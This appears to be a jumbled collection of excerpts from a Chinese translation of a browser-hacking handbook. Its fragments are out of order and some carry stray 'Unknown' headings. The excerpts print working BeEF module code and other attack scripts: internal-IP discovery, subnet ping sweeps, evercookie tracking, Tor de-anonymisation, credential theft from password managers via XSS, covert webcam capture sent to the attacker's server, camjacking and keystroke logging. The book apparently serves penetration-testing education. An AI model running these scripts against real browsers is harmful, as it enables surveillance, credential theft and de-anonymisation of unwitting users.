我们还希望你知道，所有工具都有自己的短处，你应该根据自己的知识选择它们。你的工具箱中最重要的工具，就是你的知识。本书作者的主要目标就是增长你的知识，而不是单纯地扩充你的软件库。 本书中有两个最常用的工具，一个是BeEF（Browser Exploitation Framework），另一个是Metasploit。当然，我们要介绍的工具不限于此，而且你还会了解所有工具的长处和短处。 本书作者就是BeEF项目的核心开发者，致力于让这个社区工具与本书描述的方法相契合。本书中的很多示例都选自BeEF的代码，而在这个工具中，大多数过程都已经实现了自动化。"},
    {"text": "1 Mozilla. (2012). 748343--remove support for ‘java’ DOM object . Retrieved December 7, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=748343 var sock = new java.net.Socket(); var ip = \"\"; var hostname = \"\"; try { sock.bind(new java.net.InetSocketAddress('0.0.0.0',0)); sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port)); ip = sock.getLocalAddress().getHostAddress(); hostname = sock.getLocalAddress().getHostName(); } 这里的 bind() 方法在本地计算机上打开了一个监听端口，并立即连接。"},
    {"text": "看看以下代码： import java.applet.Applet; import java.applet.AppletContext; import java.net.InetAddress; import java.net.Socket; /* * 改编自Lars Kindermann小程序 * http://reglos.de/myaddress/MyAddress.html */ public class get_internal_ip extends Applet { String Ip = \"unknown\"; String internalIp = \"unknown\"; String IpL = \"unknown\"; private String MyIP(boolean paramBoolean) { Object obj = \"unknown\"; String str2 = getDocumentBase().getHost(); int i = 80; if (getDocumentBase().getPort() != -1){ i = getDocumentBase().getPort(); } try { String str1 = new Socket(str2, i).getLocalAddress().getHostAddress(); if (!str1.equals(\"255.255.255.255\")) obj = str1; } catch (SecurityException localSecurityException) { obj = \"FORBIDDEN\"; } catch (Exception localException1) { obj = \"ERROR\"; } if (paramBoolean) try { obj = new Socket(str2, i).getLocalAddress().getHostName(); } catch (Exception localException2) {} return (String) obj; } public void init() { this.Ip = MyIP(false); } public String ip() { return this.Ip; } public String internalIp() { return this.internalIp; } public void start() {} } 这些代码（在Lars Kindermann的工作成果 2 基础上修改而来）在被编译为未签名的小程序之后，可以在Java 1.6中取得内部IP地址。"},
    {"text": "2 Lars Kindermann. (2011). My Address Java Applet . Retrieved October 29, 2013 from http://reglos.de/myaddress/MyAddress.html Java 1.7u11开始引入了针对未签名小程序的点击播放功能。"},
    {"text": "以下的Java代码将信息挖掘的深度更进一层，枚举了其他可用的网络接口： String output = \"\"; output += \"Host Name: \"; output += java.net.InetAddress.getLocalHost().getHostName()+\"\\n\"; output += \"Host Address: \"; output += java.net.InetAddress.getLocalHost().getHostAddress()+\"\\n\"; output += \"Network Interfaces (interface, name, IP):\\n\"; Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces(); while (networkInterfaces.hasMoreElements()) { NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement(); output += networkInterface.getName() + \", \"; output += networkInterface.getDisplayName()+ \", \"; Enumeration inetAddresses = (networkInterface.getInetAddresses()); if(inetAddresses.hasMoreElements()){ while (inetAddresses.hasMoreElements()) { InetAddress inetAddress = (InetAddress)inetAddresses.nextElement(); output +=inetAddress.getHostAddress() + \"\\n\"; } }else{ output += \"\\n\"; } } return output; BeEF的Get System Info命令模块使用了与这里非常相似的代码，但对它进行了扩展，包含查询 Runtime 和 System 等Java对象的功能。"},
    {"text": "Java虚拟机可用的处理器数量： Integer.toString(Runtime.getRuntime().availableProcessors()) 系统内存信息： Runtime.getRuntime().maxMemory() Runtime.getRuntime().freeMemory() Runtime.getRuntime().totalMemory() 操作系统名称、版本及架构： System.getProperty(\"os.name\"); System.getProperty(\"os.version\"); System.getProperty(\"os.arch\"); 在BeEF中，相应的Java代码已经被编译为Java类文件。"},
    {"text": "3 W3C. (2011). WebRTC 1.0 . Retrieved October 29, 2013 from http://dev.w3.org/2011/webrtc/editor/webrtc.html 在DOM中，可以通过 window.RTCPeerConnection 、 window.webkitRTCPeerConnection 或 window.mozRTCPeerConnection 对象来使用这个功能，具体要看浏览器。"},
    {"text": "4 Louis Stowasser. (2013). WebRTC and the Ocean of Acronyms . Retrieved October 29, 2013 from https://hacks.mozilla.org/2013/07/webrtc-and-the-ocean-of-acronyms/ 背后的思想是以转发或连接服务器作为两个浏览器之间的连通节点。"},
    {"text": "以下代码片段演示了如何通过这个技术取得内部IP地址： 5 M. Hanley, V. Jacobson, and C. Perkins. (2013). SDP: Session Description Protocol . Retrieved October 29, 2013 from http://tools.ietf.org/html/rfc4566 6 Nathan Vander Wilt. (2013). Detecting Internal IP address with WebRTC . Retrieved October 29, 2013 from https://twitter.com/natevw/status/375517540484513792 var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function () { var addrs = Object.create(null); addrs[\"0.0.0.0\"] = false; // 与ICE/转发服务器（这里的NONE）建立连接 var rtc = new RTCPeerConnection({iceServers:[]}); // FF需要处理信道/流 if (window.mozRTCPeerConnection) { rtc.createDataChannel('', {reliable:false}); }; // 根据发现的ICE，从IP地址数据中取得SDP数据 rtc.onicecandidate = function (evt) { if (evt.candidate) grepSDP(evt.candidate.candidate); }; // 创建SDP要约开始进程 rtc.createOffer(function (offerDesc) { // 基于成功的要约取得SDP grepSDP(offerDesc.sdp); // 将此要约设置为RTC Peer Connection的本地描述 rtc.setLocalDescription(offerDesc); }, function (e) { // If the SDP offer fails beef.net.send('<%= @command_url %>', <%= @command_id %>, \"SDP Offer Failed\"); }); // 如果此SDP要约失效，取得后处理新IP function processIPs(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); beef.net.send('<%= @command_url %>', <%= @command_id %>, \"IP is \" + displayAddrs.join(\" or perhaps \")); } function grepSDP(sdp) { var hosts = []; //http://tools.ietf.org/html/rfc4566#page-39 sdp.split('\\r\\n').forEach(function (line) { // http://tools.ietf.org/html/rfc4566#section-5.13 if (~line.indexOf(\"a=candidate\")) { // http://tools.ietf.org/html/rfc5245#section-15.1 var parts = line.split(' '), addr = parts[4], type = parts[7]; if (type === 'host') processIPs(addr); // http://tools.ietf.org/html/rfc4566#section-5.7 } else if (~line.indexOf(\"c=\")) { var parts = line.split(' '), addr = parts[2]; processIPs(addr); } }); } })(); else { // 浏览器不支持RTCPeerConnection beef.net.send('<%= @command_url %>', <%= @command_id %>, \"Browser doesn't appear to support RTCPeerConnection\"); } 以上代码首先创建一个名为 rtc 的RTCPeerConnection对象，然后定义一个处理程序，用于处理检测到的ICE。"},
    {"text": "7 Robert Hansen. (2009). XHR ping sweeping in Firefox 3.5 . Retrieved October 29, 2013 from http://ha.ckers.org/blog/20090720/xmlhttpreqest-ping-sweeping-in-firefox-35/ 以下代码是Robert Hansen代码的增强版，可以通过它们发现当前勾连浏览器所在的子网，而不用事先知道其IP地址： var ranges = [ '192.168.0.0','192.168.1.0', '192.168.2.0','192.168.10.0', '192.168.100.0','192.168.123.0', '10.0.0.0','10.0.1.0', '10.1.1.0' ]; var discovered_hosts = []; // XHR超时 var timeout = 5000; function doRequest(host) { var d = new Date; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = processRequest; xhr.timeout = timeout; function processRequest(){ if(xhr.readyState == 4){ var time = new Date().getTime() - d.getTime(); var aborted = false; // 如果调用window.stop()，触发的是abort // http://www.w3.org/TR/XMLHttpRequest/#event-handlers xhr.onabort = function(){ aborted = true; } xhr.onloadend = function(){ if(time < timeout){ // abort总在onloadend之前触发 if(time > 10 && aborted === false){ console.log('Discovered host ['+host+ '] in ['+time+'] ms'); discovered_hosts.push(host); } } } } } xhr.open(\"GET\", \"http://\" + host, true); xhr.send(); } var start_time = new Date().getTime(); function checkComplete(){ var current_time = new Date().getTime(); if((current_time - start_time) > timeout + 1000){ // 结束挂起的XHR，尤其是在Chrome中 window.stop(); clearInterval(checkCompleteInterval); console.log(\"Discovered hosts:\\n\" + discovered_hosts.join(\"\\n\")); } } var checkCompleteInterval = setInterval(function(){ checkComplete()}, 1000); for (var i = 0; i < ranges.length; i++) { // 以下代码返回像192.168.0之类的 var c = ranges[i].split('.')[0]+'.'+ ranges[i].split('.')[1]+'.'+ ranges[i].split('.')[2]+'.'; // 对ranges数组中的每一项，请求最常见的网关IP，类似： // 192.168.0.1, 192.168.0.100, 192.168.0.254 doRequest(c + '1'); doRequest(c + '100'); doRequest(c + '254'); } 数组 ranges 中包含了最常见的默认网关IP地址。"},
    {"text": "在图10-2中，可以看到192.168.0.1被找到了。 图 10-2 成功找到192.168.0.1 不过要知道，在浏览器中执行这种扫描操作会花一定时间。"},
    {"text": "而可能会影响到对这些操作计时的因素之一，是浏览器同时维护的网络连接数量。 与浏览器的多数其他属性一样，不同的浏览器或版本中，计时的结果可能会有差异。"},
    {"text": "这个看似无关痛痒的阶段却是浏览器攻防中第一个阶段，也是最为紧要的阶段。 没有这个阶段，任何攻击都不可能发生，目标浏览器也不会进入攻击者的视野。"},
    {"text": "相关内容还有如何检测浏览器安装了哪些插件，了解该领域的研究者已经发现了哪些可以利用的弱点，以及哪些旨在保护插件安全的手段被滥用因而可以绕过，等等。"},
    {"text": "但随着时间的推移，各类Web应用（尤其是那些可能涉及个人信息的应用）日渐普及，隐私问题也逐渐受到人们的重视。 现代浏览器大多非常重视保护用户隐私，有些甚至提供了无痕浏览模式。"},
    {"text": "许多浏览器都提供了此类功能，只是名字略有不同： Chrome的匿名浏览模式（Incognito mode） IE的隐身浏览模式（InPrivate browsing） Opera的隐私页签或隐私窗口（Private tab/Private window） Firefox的无痕浏览（Private browsing） Safari的无痕浏览 为了便于区分，浏览器的无痕模式与普通模式通常会有一些界面上的差异。"},
    {"text": "图5-29展示了Chrome的匿名浏览模式与普通模式的差异。 图 5-29 Chrome的匿名浏览模式 截至本书成文时，尚不存在探究浏览器是否处于无痕模式的方法。"},
    {"text": "Jeremiah Grossman 29 和Collin Jackson 30 曾做过一些研究：对于某些旧版本浏览器，比如Firefox的1.5或2.0版本，可以通过JavaScript的 getComputedStyle 函数来判断浏览器是否处于无痕模式（参见4.3.3节）。"},
    {"text": "29 Jeremiah Grossman. (2009). Detecting Private Browsing Mode . Retrieved November 15, 2013 from http://jeremiahgrossman.blogspot.com.au/2009/03/detecting-private-browsing-mode.html 30 G.Aggarwal, E.Bursztein, C.Jackson, and D.Boneh. (2010). An Analysis of Private Browsing Modes in Modern Browsers .Retrieved November 15, 2013 from http://crypto.stanford.edu/~dabo/pubs/ppers/privatebrowsing.pdf 由于服务器知晓一个请求的来源IP地址，所以它可以由此查询出客户端的地理位置，虽然此位置无法做到十分详细且精确，但至少能确定客户端所在的国家。"},
    {"text": "5.4.1 不基于cookie的会话追踪 本节将会介绍一种在用户上网时对他们保持追踪的方法，尽管其内容可能不如控制小白用户的摄像头那么有趣，但是会非常有用。"},
    {"text": "为了创造一种坚不可摧的cookie，Samy Kamkar（第2章中提到过的臭名昭著的Samy蠕虫病毒的作者）开发了Evercookie项目，主页为 http://samy.pl/evercookie/ 。"},
    {"text": "与其他技术仅依赖HTTP的cookie不同，Evercookie依赖很多其他构件，其中包括： 本地共享对象或Flash cookie Silverlight存储 IE中的userData存储 HTML5存储 为了能进一步识别回访的用户，BeEF在自己的JavaScript会话库中也引用了Evercookie库。 可以从BeEF的 get_hook_session_id() 函数看出，该函数查询三种不同的Evercookie构件：cookie、userData和window数据。 // 先创建evercookie对象 ec: new evercookie(), get_hook_session_id: function() { // 检查框架是否已经涵盖该浏览器 var id = this.ec.evercookie_cookie(\"BEEFHOOK\"); if (typeof id == 'undefined') { var id = this.ec.evercookie_userdata(\"BEEFHOOK\"); } if (typeof id == 'undefined') { var id = this.ec.evercookie_window(\"BEEFHOOK\"); } // 如果已经涵盖，则创建勾连会话ID if ((typeof id == 'undefined') || (id == null)) { id = this.gen_hook_session_id(); this.set_hook_session_id(id); } // 返回会话ID return id; } 需要提醒你的是，用户浏览任何网站都会留下足迹，只是有些无法直接加以利用而已。"},
    {"text": "5.4.2 绕过匿名机制 作为一个攻击者，我们有必要了解自己已侵入的浏览器是否使用了Tor等工具以达到匿名隐身等目的，但我们要如何确认呢？"},
    {"text": "DeepSearch（ http://xycpusearchon2mc.onion ）是一个只能在Tor网络内使用的搜索索引，其中.onion是一种用于指定Tor匿名服务的伪顶级域名。"},
    {"text": "DeepSearch页面中包含一个头部logo（ http://xycpusearchon2mc.onion/deeplogo.jpg ），如果通过浏览器可以访问logo，则表明浏览器正在Tor网络中。"},
    {"text": "通过执行以下JavaScript代码，BeEF的Detect Tor模块实现了对Tor用途的探测： var img = new Image(); img.setAttribute(\"style\",\"visibility:hidden\"); img.setAttribute(\"width\",\"0\"); img.setAttribute(\"height\",\"0\"); img.src = '<%= @tor_resource %>'; img.id = 'torimg'; img.setAttribute(\"attr\",\"start\"); img.onerror = function() { this.setAttribute(\"attr\",\"error\"); }; img.onload = function() { this.setAttribute(\"attr\",\"load\"); }; document.body.appendChild(img); setTimeout(function() { var img = document.getElementById('torimg'); if (img.getAttribute(\"attr\") == \"error\") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor'); } else if (img.getAttribute(\"attr\") == \"load\") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor'); } else if (img.getAttribute(\"attr\") == \"start\") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. \\ Cannot determine if browser is behind Tor'); }; document.body.removeChild(img); }, <%= @timeout %>); 代码的第一部分创建了一个指向DeepSearch图标的图像标签，该标签的URL引用了 @tor_resource 变量。"},
    {"text": "如果目标计算机中的Flash或者Java未配置使用Tor代理，那么只需设法通过它们访问攻击者控制的服务器上的特殊图片或其他文件，便可以获取到目标的真实IP。"},
    {"text": "如果目标用户正在使用微软的Windows操作系统，那么小程序会运行如下命令行去探测附近所有的无线网络： netsh wlan show networks mode=bssid 如果目标用户使用的是OS X操作系统，则命令为： /System/Library/PrivateFrameworks/Apple80211.\\ framework/Versions/Current/Resources/airport scan 小程序代码会解析上述命令的运行结果，并从中分析出SSID、BSSID以及信号强度，接着将这些信息通过Google Maps API进行查询： https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true 。"},
    {"text": "在2013年美国BlackHat大会上，他揭示了一些追踪攻击者的技术细节，其中涉及将BeEF和ICS蜜罐结合使用，以便勾连攻击者，继而将Detect Tor和Get Physical Location模块植入勾连浏览器。"},
    {"text": "31 Kyle Wilhoit. (2013). The SCADA That Didn't Cry Wolf . Retrieved November 15, 2013 from https://media.blackhat.com/us-13/US-13-Wilhoit-The-SCADA-That-Didnt-Cry-Wolf-Whos-Really-Attacking-Your-ICS-Devices-Slides.pdf 5.4.3 攻击密码管理器 密码管理器软件能够帮助用户存储和找回密码。"},
    {"text": "许多网站会在迭代过程中逐步增加安全特性，其中防止密码管理期滥用的一种主要方法是：对于要提交的表单中的密码框输入添加 autocomplete=\"off\" 标记，以阻止浏览器缓存该字段。"},
    {"text": "32 Ben Toews. (2012). Abusing Password Managers with XSS . Retrieved November 15, 2013 from http://btoe.ws/2012/04/25/Abusing-Password-Managers-with-XSS.html 使用此方案的前提是，首先需要从试图窃取密码的源中找到一个XSS漏洞。"},
    {"text": "function getCreds(){ var users = new Array('user','username','un'); var pass = new Array('pass','password','pw'); un = pw = \"\"; for( var i = 0; i < users.length; i++) { if (document.getElementById(users[i])) { un += document.getElementById(users[i]).value; } } for( var i = 0; i < pass.length; i++) { if (document.getElementById(pass[i])) { pw += document.getElementById(pass[i]).value; } } alert(un + \"|\" + pw); document.getElementById('myform').style.visibility='hidden'; window.clearInterval(check); } document.write(\" <div id='myform'> <form > <input type='text' name='user'\"); document.write(\" id='user' value='' autocomplete='on' size=1> <input \"); document.write(\"type='text' name='username' id='username' value='' \"); document.write(\"autocomplete='on' size=1> <input type='text' name='un'\"); document.write(\" id='un' value='' autocomplete='on' size=1> <input type=\"); document.write(\"'password' name='pass' id='pass' value='' autocomplete='on'\"); document.write(\"><br> <input type='password' name='password' id='password' \"); document.write(\"value='' autocomplete='on'><br> <input type='password' \"); document.write(\"name='pw' id='pw' value='' autocomplete='on'><br> </form>\"); document.write(\"</div>\"); check = window.setInterval(\"getCreds()\",100); 在这个例子中，你需要借助XSS漏洞，在页面中使用脚本标签加载该JavaScript文件。"},
    {"text": "随着技术的发展，这些设备的价格逐渐降低，更多的笔记本制造商希望通过添加此类设备，提升用户的在先沟通体验，这些设备逐渐也变为了新一代笔记本的标配。"},
    {"text": "在使用Webcam Permission Check模块时，需要在加载SWF文件之前定义几个JavaScript全局函数： noPermissions yesPermissions naPermissions 此外还需要预先定义一个函数作为 swfobject.embedSWF() 的回调函数。"},
    {"text": "在下面的例子中，回调函数为 swfobjectCallback ： var swfobjectCallback = function(e) { if(e.success){ beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject successfully added flash object \\ to the victim page\"); } else { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject was not able to add the swf file \\ to the page. This could mean there was no flash \\ plugin installed.\"); } } 这个函数负责向BeEF服务器上报SWF文件是否成功加载。"},
    {"text": "使用此函数可以优化对 swfobject.embedSWF() 的调用，代码片段如下： $j.getScript(beef.net.httpproto+'://'+beef.net.host+ ':'+beef.net.port+'/swfobject.js', function(data,txtStatus,jqxhr) { var flashvars = {}; var parameters = {}; parameters.scale = \"noscale\"; parameters.wmode = \"opaque\"; parameters.allowFullScreen = \"true\"; parameters.allowScriptAccess = \"always\"; var attributes = {}; swfobject.embedSWF( beef.net.httpproto+'://'+beef.net.host+ ':'+beef.net.port+'/cameraCheck.swf', \"main\", \"1\", \"1\", \"9\", \"expressInstall.swf\", flashvars, parameters, attributes, swfobjectCallback ); } ); 该SWF文件随后被嵌入DOM，而后cameraCheck.swf开始运行。"},
    {"text": "cameraCheck.swf文件将会检查Web摄像头的可用性，然后根据结果调用不同的全局函数。 如果摄像头对某一特定网站可用（如图5-31），则cameraCheck.swf会调用JavaScript的 yesPermissions 函数。"},
    {"text": "如果其中一些网页使用了 内容分发网络 （Content Delivery Networks，CDN），且该网站要求用户提供摄像头或麦克风许可，那么此用户的浏览器很可能将CDN域名加入了白名单。"},
    {"text": "33 W3C. (2011). WebRTC 1.0: Real-time Communication Between Browsers . Retrieved November 15, 2013 from http://dev.w3.org/2011/webrtc/editor/webrtc.html MediaStream API 34 是WebRTC的一部分，被用于描述和控制浏览器内的音频或视频数据流。"},
    {"text": "34 Mozilla. (2013). Media Stream API . Retrieved November 15, 2013 from https://developer.mozilla.org/en-US/docs/WebRTC/MediaStream_API 下面的代码展示了如何将必要的元素以及相关联的MediaStream对象添加到 <video> 元素中，随后生成一张截图并保存到 <canvas> 元素中，最后将编码后的数据URI传回服务器： // 创建video元素 var video_element = document.createElement(\"video\"); video_element.id = \"vid_id\"; video_element.style = \"display:none;\"; video_element.autoplay = \"true\"; // 创建canvas元素 var canvas_element = document.createElement(\"canvas\"); canvas_element.id =\"can_id\"; canvas_element.style = \"display:none;\"; canvas_element.width = \"640\"; canvas_element.height = \"480\"; // 添加元素 document.body.appendChild(video_element); document.body.appendChild(canvas_element); // 返回绘制上下文 // 2D渲染上下文 // 不要WebGL上下文(3D) var ctx = canvas_element.getContext('2d'); // 定义值为null的变量 var localMediaStream = null; // 媒体流设置完毕后调用这个函数 var captureimage = function() { // 检查流不为空 if (localMediaStream) { // 把video元素中的元素绘制到canvas,沿左上角（0,0）对象 ctx.drawImage(video_element,0,0); // 把包含编码了图片的dataURL发送给攻击者 beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'image='+canvas_element.toDataURL('image/png')); } else { // 出错的情况 beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result=something went wrong'); } } // 保证拿到正确的window.URL对象 window.URL = window.URL || window.webkitURL; // 保证拿到正确的getUserMedia函数 navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; // 确认取得相机使用权 // 然后调用function(stream)函数 navigator.getUserMedia({video:true},function(stream) { // set the video element to the URL representation of // the media stream video_element.src = window.URL.createObjectURL(stream); // 复制流（在captureimage函数中检查) localMediaStream = stream; // 2秒后执行captureimage setTimeout(captureimage,2000); }, function(err) { // 无法取得流 beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result=getUserMedia call failed'); }); 该代码执行后的结果是将图片以 data: URI的形式传回给你。"},
    {"text": "与本章介绍的许多其他攻击类似，该类型的攻击也同样依赖社会工程学组件，尤其是需要诱导用户接受浏览器弹出的访问摄像头的警告，如图5-33所示。 图 5-33 Chrome中访问摄像头的警告 目前已经发现了一些技术，可以诱导用户在无意中允许特定的源通过Flash访问摄像头及麦克风。"},
    {"text": "在第4章中，我们讨论过RSnake提出的Flash点击劫持概念，Igor Homakov则演示了类似的技术，为了在用户无感知的前提下，使用其摄像头进行拍照 35 。"},
    {"text": "该攻击在一个Flash之上加载了另一个Flash，且对后者设置 opacity: 0 ，如下面的代码所示： 35 Egor Homakov. (2013). Camjacking: Click and say Cheese . Retrieved November 15, 2013 from http://homakov.blogspot.ru/2013/06/camjacking-click-and-say-cheese.html <object style=\"opacity:0.0;position:absolute; top:129px;left:100px;\" width=\"270\" height=\"270\"> <param name=\"movie\" value=\"cam.swf\"> <embed src=\"cam.swf\" width=\"270\" height=\"270\"></embed> </object> 通过以上代码，cam.swf通过对象标记被加载并执行。"},
    {"text": "Unknown 2.4 问题 (1) 攻击者如果想在浏览器中执行自己的代码，需要采取哪些手段？ (2) 描述一下几种XSS攻击的不同之处。 (3) 描述一下可能阻止XSS执行的浏览器安全机制。 (4) 说出几个著名的XSS病毒，以及它们的传播方式。 (5) 描述一种攻击者可能采用的侵入网站并执行恶意代码的方法。 (6) 什么条件下可以使用sslstrip？ (7) 描述一下ARP欺骗。 (8) 钓鱼与垃圾邮件有什么区别？ (9) 简单概括一下社会工程攻击的几个步骤。 (10) 描述一下什么是物理“诱饵”技术。 要查看问题的答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。 Unknown 3.1 理解控制持久化 保持对目标的控制比执行初始化指令还要困难。除非你有办法把代码注入每个页面，否则目标浏览器一切换网址，控制就会立即消失。理想情况下，保持对浏览器的控制不仅意味着断开网络时不失去控制，同时也意味着与用户访问哪个网站不相关。 为什么非得保证对浏览器的持续控制呢？如果可以在目标浏览器中执行代码，就以为做完了所有的事，这样对吗？不，大错特错，这远远不够！假设你想知道目标浏览器所在的本地网络有哪些主机是活动的，然后紧接着来一番JavaScript端口扫描。检测过程可能得花点时间，取决于活动主机和端口的多少。显然，这种情况下你需要在一定的时间内保持对浏览器的控制。 持续控制目标可以大致分为两个方面，一方面是持久通信，另一方面是持久存续。这两个方面同等重要，因为它们能够延长你攻击浏览器的可用时间。 持久通信的实现靠的是使用不同渠道接触被你控制的服务器。某些情况下，甚至不靠HTTP，而只靠DNS就可以做到。你可以选择其中速度最快的，但有可能牺牲与旧浏览器的通信。接下来几节会探讨这方面的权衡。 传统操作系统中的黑客程序为了实现持续控制，往往会通过勾连系统调用 1 ，直接在内核甚至驱动程序中注入代码，保证操作系统在重启、更新，甚至在系统清理后，仍然可以持续控制。对你而言，如果目标关闭了浏览器，那几乎就没戏了，至少暂时是这样。 1 Mayhem. (2001). IA32 Advanced Function Hooking . Retrieved March 8, 2013 from http://www.phrack.org/issues.html?issue=58&id=8#article 勾连 本章和上一章介绍的技术综合起来运用，可以实现所谓 浏览器勾连 （Browser Hooking）。勾连浏览器指的就是与目标浏览器建立双向通信渠道的过程。本书后面也会经常出现“勾连浏览器”的说法。大体的意思就是指浏览器已经被人初始控制，执行了恶意代码，而且又从BeEF等中心服务器接收到了更多指令。被勾连的浏览器在接收并执行了更多指令后，结果将被异步返回给中心服务器。 在某些通信渠道下，有可能执行高级连锁攻击，攻击的形式是命令模块，按照一定的逻辑顺序依次执行。比如，在建立了对浏览器的初始控制后，首先可以取得被勾连浏览器的内部IP地址。掌握了这个IP之后，可以对内部网络执行ping扫描。最后对响应的主机执行端口检测。这些操作可以前后相继，后续流程可以根据前置环节的执行结果做出相应调整。 通过攻击者的工具箱实现了不同攻击代码的模块化之后，可以针对一个隐患执行各种操作。这些操作通常会对攻击者给出反馈循环，而攻击者借此可以通过一个特殊操作发现后续操作的可能性，而后续操作又可能暴露更多隐患。"},
    {"text": "Unknown 5.2 捕获用户输入 虽然修改页面内容可以协助欺骗目标用户执行危险的操作，但有时你根本无需修改页面中显示的内容，就能够获取到一些敏感信息。"},
    {"text": "继续之前的例子，执行下面的JavaScript代码，就能够监听 focus 事件： window.addEventListener(\"focus\", function(event) { alert(\"The window has been focused\"); }); IE6到IE8并不支持 addEventListener() 方法，不过它们可以使用功能类似的 addachEvent() 函数 4 代替。"},
    {"text": "使用BeEF提供的jQuery后，上面的代码会变成： 4 Microsoft. (2013). attachEvent method (Internet Explorer) . Retrieved November 15, 2013 from http://msdn.microsoft.com/en-us/library/ie/ms536343(v=vs.85).aspx $j(window).on(\"focus\", function(event) { alert(\"The window has been focused\"); }); 不仅如此，jQuery还提供了 focus() 方法，可以进一步简化代码： $j(window).focus(function(event) { alert(\"The window has been focused\"); }); 再增加一些代码，则我们同时可以在用户将焦点从窗口中移除时捕获事件： $j(window).focus(function(event) { alert(\"The window has been focused\"); }).blur(function(event) { alert(\"The window has lost focus\"); }); 由于调用jQuery的方法时，通常返回自身的实例，所以当我们在调用多个方法时可以使用链式调用，就像之前那段代码所示。 这段代码监听了 window 对象上的 focus 和 blur 事件，这和BeEF初始化日志方法的代码非常类似，不同之处在于BeEF不是调用 alert() 函数，而是使用之前讲过的 beef.net.send() 函数，把事件日志传回BeEF的服务器。"},
    {"text": "5 W3C. (2012). DOM Level 3 Events Specification: Focus Event Types . Retrieved November 15, 2013 from http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent focusin ：在目标元素真正获得焦点之前触发。"},
    {"text": "对攻击者而言，理解和捕获焦点事件是非常有用的，因为通过它们，我们可以洞察到目标用户是否正在浏览特定的窗口，是否已经切换到不同的标签页，或者是否已经将浏览器最小化，这些数据都可能在一个大型攻击策略中发挥重要作用。"},
    {"text": "6 Google. (2013). Keyboard Shortcuts - Gmail Help . Retrieved November 15, 2013 from http://support.google.com/mail/answer/6594?hl=en 同焦点事件和鼠标事件类似，键盘事件也分为多个，分别具有不同的功能，它们的响应顺序如下。"},
    {"text": "这里的参数 e 包含了携带信息的事件对象，比如按的是哪个键，键的位置，以及这个键是否被长按了，等等： 7 W3C. (2013). DOM Level 3 Events Specification: Security Considerations . Retrieved November 15, 2013 from http://www.w3.org/TR/DOM-Level-3-Events/#security-considerations-Security $j(document).keypress( function(e) { beef.logger.keypress(e); } ); beef.logger.keypress() 函数用来探测用户输入数据的元素是否发生过变化（例如，用户可能先在一个输入框中进行输入，然后切换到另一个输入框中）。 当检测到元素改变时，之前输入的字符会被提交回BeEF： keypress: function(e) { if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0))) { beef.logger.push_stream(); this.target = e.target; } this.stream.push({'char':e.which, 'modifiers': { 'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey} } ); } beef.logger.push_stream() 函数用于核对保存在 stream 数组中的所有按键事件，并把它们重新放回BeEF的事件队列中。"},
    {"text": "8 W3C. (2013). DOM Level 3 Events Specification: Key Values and Unicode . Retrieved November 15, 2013 from http://www.w3.org/TR/DOM-Level-3-Events/#keys-unicode key 属性则保存键值。"},
    {"text": "9 W3C. (2013). DOM Level 3 Events Specification: Guidelines for selecting and defining key values . Retrieved November 15, 2013 from http://www.w3.org/TR/DOM-Level-3-Events/#keys-Guide 如果按键的功能是生成一个可打印的字符，并且在键值中包含有效的字符： * key 属性必须为键值组成的字符串 * char 属性必须为 char 值组成的字符串 如果在键值中不包含有效的字符： * key 属性必须为 char 值组成的字符串 * value 属性必须为 char 值组成的字符串 如果按键是一个功能键或者修改键，并且在键值中包含有效的字符： * key 属性必须为键值组成的字符串 * char 属性必须为空字符串 如果在键值中不包含有效的字符，则创建一个键值 尽管此标准主要规定了 key 和 char 的值，但有许多程序仍在依赖已废弃而且文档不完善的 keyCode 和 charCode 属性。"},
    {"text": "10 Jan Wolter. (2012). JavaScript Madness: Keyboard Events . Retrieved November 15, 2013 from http://unixpapa.com/js/key.html 11 Wikipedia. (2013). Browser wars . Retrieved November 15, 2013 from http://en.wikipedia.org/wiki/Browser_wars 尽管不同浏览器对事件的处理方法存在差异，但监听按键事件仍是一个非常有效的工具。"},
    {"text": "12 Caniuse. (2013). Pointer events . Retrieved November 15, 2013 from http://caniuse.com/pointer-events 屏幕键盘或虚拟键盘有时用于阻止键盘按键被记录，例如，在用户输入网银密码时使用。"},
    {"text": "13 Debasis Mohanty. (2005). Defeating Citi-Bank Virtual Keyboard Protection . Retrieved November 15, 2013 from http://seclists.org/bugtraq/2005/Aug/88 下面是一个事件处理函数的示例，该函数会捕获用户每一次点击文档的事件： document.addEventListener(\"click\",function(event) { alert(\"X: \"+event.screenX+\", Y: \"+event.screenY); }); 这段JavaScript代码对鼠标的 click 事件绑定了一个监听函数，功能是弹出警告对话框并在其中显示鼠标的位置（相对于当前屏幕的位置，以像素为单位）。"},
    {"text": "相对于视口的坐标和相对于屏幕的坐标可能会略有差异，因为视口永远代表着浏览器的可视化窗口，而且大小不会发生改变。 图5-1、图5-2和图5-3分别展示了鼠标相对于屏幕的坐标、相对于视口的坐标和相对于页面的坐标。"},
